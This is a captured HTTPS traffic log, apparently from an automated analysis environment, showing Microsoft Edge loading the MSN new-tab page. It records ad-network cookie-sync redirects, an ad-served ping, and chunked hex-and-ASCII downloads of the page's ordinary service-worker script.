2025-01-08 15:18:52 UTC	630	OUT	GET /oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.inmobi.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	362	IN	HTTP/1.1 302 Found vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers location: https://sync.inmobi.com/sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= content-length: 0 date: Wed, 08 Jan 2025 15:18:52 GMT x-envoy-upstream-service-time: 0 server: envoy connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.11.20	53868	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	862	OUT	GET /mapuid?member=280&user=37FD034F4FC568D43F2E16214E436968;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	1684	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D AN-X-Request-Uuid: 7d4f50cc-b60a-4faf-ba5a-527d01cb4677 Set-Cookie: XANDR_PANID=j7vh2NMr_0hd-bjox9MJ_ZiRIoD1eREphjOgUKv_THdOmzR1-wIkQOwOhaH3dLzVdF54Wb_Yk4OmP6GTW26ndu3Cd7NyI9byPJ2-SOIcEu8.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:52 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:52 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=8662208732066141996; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:52 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.11.20	55280	68.67.181.248	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	654	OUT	GET /getuid?https://c.bing.com/c.gif?anx_uid=$UID&Red3=MSAN_pd&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	1515	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 45a5c2d9-d1ea-4319-a9f4-26df03c3f0e0 Set-Cookie: XANDR_PANID=Y3m8FkxBhWmRwd3ab04ZngXxcaVMgsGv97fw2M-zjDAR31biNYaA3-fi9PbTtdHoKO1zbjKiofi9dTB6_kC0c0d0xJX6K8FBjk5j-ed65LI.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:52 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:52 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1570839019707621890; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:52 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 1043.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.11.20	55103	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	965	OUT	GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=65b90472-0510-406e-b224-c832b0c55177&ii=1&c=17023361848815731196&bid=c3efd042-9c07-4a40-a0f5-5b1fbaf8a049&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; _C_ETH=1; msnup=
2025-01-08 15:18:52 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 828625A0749B4DD99EE311DD0D739FE2 Ref B: CHI30EDGE0221 Ref C: 2025-01-08T15:18:52Z Date: Wed, 08 Jan 2025 15:18:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.11.20	59086	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	1490	OUT	GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; _C_ETH=1; msnup=
2025-01-08 15:18:52 UTC	1437	IN	HTTP/1.1 200 OK Cache-Control: no-cache Transfer-Encoding: chunked Content-Type: application/javascript Content-MD5: s29kS1kjDtN2RLuHsAqYQA== Last-Modified: Tue, 07 Jan 2025 23:47:06 GMT ETag: 0x8DD2F7597EC52F4 Vary: Origin x-ms-request-id: 59389e81-601e-003d-3e5e-612c04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.62.22.218,b=4074871243,c=g,n=US_IL_ELKGROVEVILLAGE,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.62.22.218 Akamai-Request-ID: f2e199cb Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Service-Worker-Allowed: / report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.da163e17.1736349532.f2e199cb X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 19D131AF71D14B5CB9DCE812226F3FAA Ref B: CHI30EDGE0314 Ref C: 2025-01-08T15:18:52Z Date: Wed, 08 Jan 2025 15:18:52 GMT Connection: close
2025-01-08 15:18:52 UTC	2801	IN	Data Raw: 61 65 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3b 65 6c 73 65 7b 76 61 72 20 73 3d 74 28 29 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 73 29 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 3a 65 29 5b 6e 5d 3d 73 5b 6e 5d 7d 7d 28 73 65 6c 66 2c 28 28 29 3d 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 Data Ascii: aea!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict
2025-01-08 15:18:52 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 73 68 65 72 52 6f 75 74 65 73 3d 22 65 6e 61 62 6c 65 54 6f 70 69 63 50 75 62 6c 69 73 68 65 72 52 6f 75 74 65 73 22 2c 65 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 52 6f 75 74 69 6e 67 3d 22 65 6e 61 62 6c 65 53 74 61 74 69 63 52 6f 75 74 69 6e 67 22 2c 65 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 4e 61 76 52 6f 75 74 69 6e 67 3d 22 65 6e 61 62 6c 65 53 74 61 74 69 63 4e 61 76 52 6f 75 74 69 6e 67 22 2c 65 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 41 64 73 52 6f 75 74 69 6e 67 3d 22 65 6e 61 62 6c 65 53 74 61 74 69 63 41 64 73 52 6f 75 74 69 6e 67 22 2c 65 2e 63 6f 6d 6d 6f 6e 48 61 73 68 3d 22 63 6f 6d 6d 6f 6e 48 61 73 68 22 2c 65 2e 76 65 6e 64 6f 72 73 48 61 73 68 3d 22 76 65 6e 64 6f 72 73 48 61 73 68 22 2c 65 2e 65 78 70 65 72 69 65 6e 63 Data Ascii: 2000sherRoutes="enableTopicPublisherRoutes",e.enableStaticRouting="enableStaticRouting",e.enableStaticNavRouting="enableStaticNavRouting",e.enableStaticAdsRouting="enableStaticAdsRouting",e.commonHash="commonHash",e.vendorsHash="vendorsHash",e.experienc
2025-01-08 15:18:52 UTC	4152	IN	Data Raw: 31 30 33 30 0d 0a 73 73 69 67 6e 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6e 29 2c 7b 69 67 6e 6f 72 65 53 65 61 72 63 68 3a 21 30 7d 29 2c 69 3d 61 77 61 69 74 20 65 2e 6b 65 79 73 28 74 2c 72 29 3b 66 6f 72 28 63 6f 6e 73 74 20 74 20 6f 66 20 69 29 69 66 28 61 3d 3d 3d 63 28 74 2e 75 72 6c 2c 73 29 29 72 65 74 75 72 6e 20 65 2e 6d 61 74 63 68 28 74 2c 6e 29 7d 28 75 2c 72 2e 63 6c 6f 6e 65 28 29 2c 5b 22 5f 5f 57 42 5f 52 45 56 49 53 49 4f 4e 5f 5f 22 5d 2c 68 29 3a 6e 75 6c 6c 3b 74 72 79 7b 61 77 61 69 74 20 75 2e 70 75 74 28 72 2c 64 3f 6f 2e 63 6c 6f 6e 65 28 29 3a 6f 29 7d 63 61 74 63 68 28 65 29 7b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 74 68 72 6f 77 22 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 Data Ascii: 1030ssign(Object.assign({},n),{ignoreSearch:!0}),i=await e.keys(t,r);for(const t of i)if(a===c(t.url,s))return e.match(t,n)}(u,r.clone(),["__WB_REVISION__"],h):null;try{await u.put(r,d?o.clone():o)}catch(e){if(e instanceof Error)throw"QuotaExceededError
2025-01-08 15:18:52 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 6e 73 2e 73 6f 6d 65 28 28 65 3d 3e 22 63 61 63 68 65 57 69 6c 6c 55 70 64 61 74 65 22 69 6e 20 65 29 29 7c 7c 74 68 69 73 2e 70 6c 75 67 69 6e 73 2e 75 6e 73 68 69 66 74 28 44 29 7d 61 73 79 6e 63 20 5f 68 61 6e 64 6c 65 28 74 2c 73 29 7b 63 6f 6e 73 74 20 6e 3d 73 2e 66 65 74 63 68 41 6e 64 43 61 63 68 65 50 75 74 28 74 29 2e 63 61 74 63 68 28 28 28 29 3d 3e 7b 7d 29 29 3b 6c 65 74 20 61 2c 72 3d 61 77 61 69 74 20 73 2e 63 61 63 68 65 4d 61 74 63 68 28 74 29 3b 69 66 28 72 29 3b 65 6c 73 65 20 74 72 79 7b 72 3d 61 77 61 69 74 20 6e 7d 63 61 74 63 68 28 65 29 7b 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 26 26 28 61 3d 65 29 7d 69 66 28 21 72 29 74 68 72 6f 77 20 6e 65 77 20 65 28 22 6e 6f 2d 72 65 73 70 6f 6e 73 65 22 2c 7b Data Ascii: 2000ns.some((e=>"cacheWillUpdate"in e))\|\|this.plugins.unshift(D)}async _handle(t,s){const n=s.fetchAndCachePut(t).catch((()=>{}));let a,r=await s.cacheMatch(t);if(r);else try{r=await n}catch(e){e instanceof Error&&(a=e)}if(!r)throw new e("no-response",{
2025-01-08 15:18:52 UTC	1261	IN	Data Raw: 34 65 36 0d 0a 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 2e 22 2c 22 2f 77 65 61 74 68 65 72 2d 63 61 72 64 2d 77 63 2e 22 2c 22 2f 77 65 6c 63 6f 6d 65 47 72 65 65 74 69 6e 67 4c 69 67 68 74 2e 22 2c 22 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6c 69 62 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6d 69 6e 5f 6a 73 2e 22 5d 2c 68 65 3d 5b 22 2f 62 61 63 6b 67 72 6f 75 6e 64 2d 67 61 6c 6c 65 72 79 2e 22 2c 22 2f 63 61 72 64 2d 61 63 74 69 6f 6e 73 2d 77 63 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 73 74 6f 72 65 2e 22 2c 22 2f 63 6f 64 65 78 2d 62 69 6e 67 2d 63 68 61 74 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 63 73 Data Ascii: 4e6-data-connector.","/weather-card-wc.","/welcomeGreetingLight.","/node_modules_xmlbuilder2_lib_xmlbuilder2_min_js."],he=["/background-gallery.","/card-actions-wc.","/channel-data-connector.","/channel-store.","/codex-bing-chat.","/common.","/common-cs
2025-01-08 15:18:52 UTC	4043	IN	Data Raw: 66 63 34 0d 0a 32 5f 6d 69 6e 5f 6a 73 2e 22 5d 2c 75 65 3d 5b 22 2f 77 69 64 67 65 74 73 2d 72 65 67 69 6f 6e 2e 22 2c 22 2f 73 70 6f 72 74 73 2d 69 6e 66 6f 2e 22 2c 22 2f 73 70 6f 72 74 73 2d 6d 61 74 63 68 2d 6c 69 73 74 2e 22 2c 22 2f 73 70 6f 72 74 73 2d 69 6e 66 6f 2d 75 74 69 6c 73 2e 22 2c 22 2f 6d 6f 6e 65 79 2d 69 6e 66 6f 2e 22 2c 22 2f 6d 6f 6e 65 79 2d 71 75 6f 74 65 2d 76 65 72 74 69 63 61 6c 2d 77 61 74 63 68 6c 69 73 74 2e 22 2c 22 2f 6d 6f 6e 65 79 2d 69 6e 66 6f 2d 73 65 72 76 69 63 65 2e 22 2c 22 2f 74 72 61 66 66 69 63 2d 63 61 72 64 2d 77 63 2e 22 5d 3b 6c 65 74 20 64 65 3b 66 75 6e 63 74 69 6f 6e 20 70 65 28 29 7b 72 65 74 75 72 6e 20 64 65 7d 76 61 72 20 67 65 3d 2f 5c 73 2f 3b 76 61 72 20 66 65 3d 2f 5e 5c 73 2b 2f 3b 63 6f 6e 73 Data Ascii: fc42_min_js."],ue=["/widgets-region.","/sports-info.","/sports-match-list.","/sports-info-utils.","/money-info.","/money-quote-vertical-watchlist.","/money-info-service.","/traffic-card-wc."];let de;function pe(){return de}var ge=/\s/;var fe=/^\s+/;cons
2025-01-08 15:18:52 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 6f 3d 63 2e 72 65 70 6c 61 63 65 28 22 73 70 61 6c 69 6e 6b 3a 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 2f 64 65 62 75 67 22 2c 22 22 29 29 3b 63 6f 6e 73 74 20 68 3d 6f 7c 7c 22 6c 61 74 65 73 74 22 2c 75 3d 65 2e 6d 61 70 28 28 65 3d 3e 7b 63 6f 6e 73 74 20 73 3d 65 2e 75 72 6c 2e 73 70 6c 69 74 28 22 2f 22 29 3b 72 65 74 75 72 6e 20 73 5b 34 5d 3d 68 2c 65 2e 75 72 6c 3d 60 24 7b 74 7d 24 7b 73 2e 6a 6f 69 6e 28 22 2f 22 29 7d 60 2c 65 7d 29 29 2c 64 3d 6e 7c 7c 5b 5d 2c 70 3d 73 7c 7c 5b 5d 3b 6c 65 74 20 67 3d 75 3b 72 65 74 75 72 6e 20 70 2e 6c 65 6e 67 74 68 26 26 28 67 3d 75 2e 66 69 6c 74 65 72 28 28 65 3d 3e 70 2e 73 6f 6d 65 28 28 74 3d 3e 65 2e 75 72 6c 2e 69 6e 63 6c 75 64 65 73 28 74 29 29 29 29 29 29 2c 64 2e 6c 65 6e Data Ascii: 2000o=c.replace("spalink:","").replace("/debug",""));const h=o\|\|"latest",u=e.map((e=>{const s=e.url.split("/");return s[4]=h,e.url=`${t}${s.join("/")}`,e})),d=n\|\|[],p=s\|\|[];let g=u;return p.length&&(g=u.filter((e=>p.some((t=>e.url.includes(t)))))),d.len
2025-01-08 15:18:52 UTC	4154	IN	Data Raw: 31 30 33 32 0d 0a 70 72 67 2d 77 70 6f 2d 69 6e 66 6f 70 72 6d 2d 63 74 72 6c 22 21 3d 65 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 22 66 64 68 65 61 64 22 2c 65 29 7d 5b 22 73 77 22 2c 22 65 64 67 45 78 70 4d 61 73 6b 22 5d 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 64 65 6c 65 74 65 28 65 29 29 29 7d 72 65 74 75 72 6e 20 65 2e 73 74 72 69 70 4c 6f 63 61 74 69 6f 6e 26 26 5b 22 6c 6f 63 61 74 69 6f 6e 22 5d 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 64 65 6c 65 74 65 28 65 29 29 29 2c 65 2e 69 73 46 75 72 74 68 65 72 4e 6f 72 6d 61 6c 69 7a 65 64 46 6f 72 46 65 65 64 43 61 6c 6c 26 26 28 5b 22 63 62 79 70 61 73 73 22 2c Data Ascii: 1032prg-wpo-infoprm-ctrl"!=e)).join(",");n.searchParams.set("fdhead",e)}["sw","edgExpMask"].forEach((e=>n.searchParams.delete(e)))}return e.stripLocation&&["location"].forEach((e=>n.searchParams.delete(e))),e.isFurtherNormalizedForFeedCall&&(["cbypass",
2025-01-08 15:18:52 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 3c 31 65 33 2a 74 68 69 73 2e 5f 6d 69 6e 43 61 63 68 65 41 67 65 53 65 63 6f 6e 64 73 29 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 74 61 6c 65 57 68 69 6c 65 52 65 76 61 6c 69 64 61 74 65 53 74 72 61 74 65 67 79 2e 68 61 6e 64 6c 65 28 65 29 7d 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 47 6f 74 20 61 20 6e 75 6c 6c 20 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 74 68 65 20 63 61 63 68 65 22 29 7d 29 29 2e 63 61 74 63 68 28 28 28 29 3d 3e 74 68 69 73 2e 5f 6e 65 74 77 6f 72 6b 46 69 72 73 74 53 74 72 61 74 65 67 79 2e 68 61 6e 64 6c 65 28 65 29 29 29 7d 7d 63 6f 6e 73 74 20 53 74 3d 38 36 34 30 30 2c 78 74 3d 35 31 38 34 65 33 2c 6b 74 3d 22 6f 66 66 69 63 65 22 3b 66 75 6e 63 74 69 6f 6e 20 50 74 28 65 Data Ascii: 2000<1e3*this._minCacheAgeSeconds)return t}return this._staleWhileRevalidateStrategy.handle(e)}throw new Error("Got a null response from the cache")})).catch((()=>this._networkFirstStrategy.handle(e)))}}const St=86400,xt=5184e3,kt="office";function Pt(e
2025-01-08 15:18:52 UTC	15	IN	Data Raw: 61 0d 0a 64 65 26 26 28 73 65 6c 66 2e 0d 0a Data Ascii: ade&&(self.

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.11.20	52704	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	1500	OUT	GET /edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Device-Memory: 8 sec-ch-ua-model: rtt: 200 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "94.0.992.31" sec-ch-ua-platform-version: "10.0.0" downlink: 10 sec-ch-ua-bitness: "64" ect: 4g sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; _C_ETH=1; msnup=
